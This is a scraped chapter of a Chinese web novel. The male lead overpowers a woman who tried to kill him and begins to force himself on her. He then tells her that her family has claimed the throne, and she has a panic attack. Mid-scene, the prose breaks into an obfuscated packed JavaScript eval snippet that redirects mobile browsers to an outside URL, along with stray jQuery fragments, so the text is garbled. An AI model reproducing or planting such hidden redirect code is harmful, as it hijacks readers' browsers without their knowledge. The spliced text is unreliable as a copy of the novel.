文趣网 > 其他小说 > 梅中月 > 34. 称帝
    蟾月高悬,朔城里万巷举家欢庆,桂花香味盈动,一片其乐融融的景象。

    位于朔城中心的摄云居阒然寂灭,檐上挂着星星落落的纱灯,添上几分寂寥的中秋气息。

    西厢房旁的耳房内,张阿嬷和翠兰脸上是掩不住的焦急,等着小姐的敲门声。

    “去看看吧,万一出了什么意外...”

    “再等等,不要轻举妄动...”

    类似的对话不断重复,两人像是陷入了无意义的虚空里,心中的不安越来越膨胀。

    西厢房内,气氛剑拔弩张,好像一张紧绷的弦。

    沉香缭绕,炭火滋滋燃烧,提醒着房间里的两人,过去一刻钟时间内,曾发生过一场饱含着恨意与杀意的失败谋杀。

    谋杀的主谋人,刘景安正强撑着膝盖靠在门上,青丝凌乱地散落,额前的碎发遮住她苍白的脸颊。她血色尽褪,双唇紧抿,如同遭受一场秋霜,狼狈至极。却因为那份姿容添上了一丝惹人欺的楚楚可怜。

    她咬着牙望着此时气定神闲的殷负梅,唇上溢出淡淡的血腥气。

    他坐于高椅上,眼神肆意地俯视着她,手指一下一下地敲击着扶手,嘴唇轻勾,像是在考虑如何处置她。那袭藏青鹤纹圆领袍衫就像是他精心伪装的人皮,原本衬出他的一丝清俊含雅气质,此时荡然无存,露出乖戾的内里,如鬼域而来。

    敲击扶手的右手一顿,他走了过来,俯下身,摸了摸刘景安鬓角的碎发,然后眼睛闪过寒光,遽然用虎口掐住她的下巴,大拇指强势地按压着她下唇咬破的地方,刘景安吃痛,抽一口冷气,双手去推他梏住她的手,那手就像是把她钉在门上,纹丝不动,她越使劲,他越把她掼到门上。

    殷负梅恶劣地笑了笑,道:“忍着。”

    他边昭告,边用手指左右涂抹刘景安下唇上渗出的血,从下唇中间到两边,再至上唇,碾压揉搓,不顾她因痛而蹙眉的模样,仿佛在给她细致地画着唇妆。

    而他晦暗不明的眼里赫然写着报复的意图,报复她对他的反抗,报复她想要逃离他的心思,让她永远记住这个教训,想起这个夜晚就胆战心惊。

    他温声道:“我已经告诉你不要瞎折腾,给你从来不听话。”

    刘景安想冷笑一声,可是她的下巴被他控制着,她只能痛苦地控制着唇舌,反问他:“你能别这么自说自话吗?你算谁?我凭什么听你的话。”

    “好,就算你要折腾。”殷负梅笑眯眯地点点头,“可你真的很稚嫩,这也难怪,毕竟你以前都是生活在风光霁月的环境里。”

    “既然你如此不服输,看来在好好惩罚你之前,我得好好给你上点课。”

    面前的男人把惩、罚二字咬的很重,他松开她的下巴,又轻扯着她的头发,迫使她抬头,直直对上他幽深的瞳孔,那双眼睛此时蛰伏着无穷无穷的暴虐气息。

    他灼热的呼吸打在她的脸上。

    “知己知彼,百战不殆。只有了解你的敌人,你才能彻底地战胜他。”

    “你想杀我,可是你完全不了解我。我不想杀你,但我却很了解你。所以,你注定不会成功。”

    刘景安听到他的话,心中一顿。

    不可否认,殷负梅说的有一部分道理。

    他了解她的秉性、不耐寒的体质,于是顺理成章地就推断出她的计划。

    相反,她并不了解他,他在她心中的形象深不可测,是乖觉、暴戾、恶劣、残忍几个高度负面的词汇凝缩而成。

    哦,方才品尝月饼的时候,她从他的口中得知他不喜欢豆沙味的东西。

    可是如果要杀死他,光知道他不喜欢豆沙远远不够。

    刘景安向来是个好学生,从前在桓家私塾学习的时候她就喜欢反复思考书上的知识,然后刨根问底。

    她默然一瞬,对殷负梅道:“这不公平。”

    “哪里不公平。”

    “你了解我,是因为你时刻派人监视着我,可我却没有办法知道你的讯息。在这种失衡的环境里,我只能孤注一掷。”

    殷负梅唔了一声,谆谆耐心道:“你现在处于劣势,是因为你处于一个高度紧绷的戒备状态,相应的,我也不会放松对你的警惕,所以你此时的任何行动都是莽撞的。”

    “而万事万物都在动态发展,如果我是你,我会蛰伏起来,从长计议,等对方放松警惕的时候再一刀致命。”

    他说得平静真诚,刘景安听得认真,气氛变得诡异起来,好似不在是剑拔弩张的仇人,而是一个虚怀若谷的学生和如沐春风的先生。

    “现在,我给你一个了解我的机会。”

    刘景安一愣,“什么?”

    下一瞬,殷负梅笑了一下,脸上的平静遽然消失地无影无踪,他单手搂过刘景安,刘景安惊呼一声,身体骤然腾空,反应过来时,整个人已经趴在殷负梅的肩上,往床上的方向而去。

    这一切变得太快。

    她慌乱地捶打他的背部,腹部被他的肩膀硌得发痛,“你做什么!快放我下来!”

    天翻地覆间,她又被殷负梅放到床榻上,殷负梅顺势放下绡金帐上的钩子,顺势上身,勾起一个讥讽地笑容:“当然是让你好好了解我啊。”

    “当然,这个过程可能不太愉快,毕竟你今天可是想要杀我,无论如何都得给一个教训。”

    他伸手去解刘景安的衣裳,眼底是嗜欲的暴虐,刘景安没有想到他翻脸如此之快,她惨白着脸往床后的角落缩去,厉声尖叫道:“殷负梅,你说话不算数,赌约的时间还没有到!”

    殷负梅嗤笑一声,手下动作不停,“你这人怎么还反咬一口,你在计划动手想要杀我的那一刻,哪里还想着这个赌约呢。”

    刘景安抵御的姿态在他的面前层层败退,到最后她已然发丝凌乱,气息紊乱,脸上带着一丝哀求,“是你先破坏赌约羞辱我的!”

    殷负梅手一顿,冷眼看着身下之人。

    绡金帐影影绰绰

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612048|204841||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,灯光朦胧,将这个女人的模样变得柔和绰约,三千青丝置于枕上,有着美人图里倾城容颜。

    明明是泪眼盈盈,可还是不甘示弱地瞪着他。

    她倔强的样子看得他头痛又烦躁。

    他知道,如果不拔除她的希望,不摧毁她的支柱,她定然会一直这么固执下去,他可没有那么多耐心跟她耗下去。可口的佳肴要尽早享用,否则就丧失了味道。

    殷负梅道:“不见棺材不落泪。原本不想那么早告诉你—”

    “桓家在清河称帝了。”

    红炉里的炭火发出爆裂一声,时间就像被拉长了一般。

    刘景安脸上一片空白,所有的感官都像是消失,被魑魅魍魉吃走了,嘴巴僵硬地挤出几个字,“不可能,你胡说。”

    “我骗你干什么呢。”

    殷负梅从衣袖里拿出一张文书,放在刘景安的手上,“这个是桓家布告天下的诏书,给每个军阀、诸侯悉数拓发了一份,喝令其归顺。”

    刘景安攥着那封文书,在看具体内容之前,她强凝心神,去辨认这张文书上的字迹,希望是别人假制的。可她太熟悉这个文书上字迹了,绝然是她的外祖父桓冉亲自所题。而这封文书的左下角,也真真切切刻着桓家的家徽。

    她越读那封信,越喘不过气,像是在寒冬里被人推下湖里。

    她的外祖父先是娓娓道来桓家与刘家百年前“共天下”,一同打下梁朝江山的历史,而后点明桓家的谦让守礼,即甘居三公之位,辅佐刘家子孙,治得河清海晏、天下太平。再痛惜如今刘氏衰败,为奸臣所持,天下兵戈四起,感念苍生不幸。最后引入了鬼神之说,说上天不忍,托梦于桓冉,让其顺承天意民呼登基为帝,拯救黎民于水火之中。

    信的词藻十分华美动人、情意深切,一副忧国忧民的姿态,内容却明晃晃地说尽了贪婪野心—身在洛邑的少帝已经不算数了,桓家如今才是天下正统,继承国祚。

    怎么会这样。怎么会这样。

    刘景安脑子只能简单地重复着这句话,无法思考了,一思考,她就头痛欲裂,像被锋利的斧头劈过一般。她全身发冷,眼睛发虚,头重脚轻,像是踩在棉花上,手指、脚趾都出现麻木感。

    最要命的是她感觉到心慌心悸,胸口发紧,喘不上气来,仿佛有一块石头堵在她的心里。窒息感袭卷她的全身,她像搁浅在地面上吐着泡泡的金鱼一样。

    殷负梅起先告诉刘景安桓家称帝的消息时,是抱着欣赏她绝望姿态的戏谑态度,可他发现事情的发展有些超出他的控制,面前的人看完信后,眼神空洞,突然就止不住的掉眼泪。更要命的是她呼吸急促,手痉挛着捂住胸口,摇摇欲坠。

    一看就是过呼吸的症状。

    殷负梅暗骂一声,连忙托住刘景安,用她倚着自己的胸,然后用力拍了拍她的脸,厉声呵斥道:“刘景安,清醒过来。跟我一起吐纳。”

    他控制着自己的呼吸,引导着她的节奏。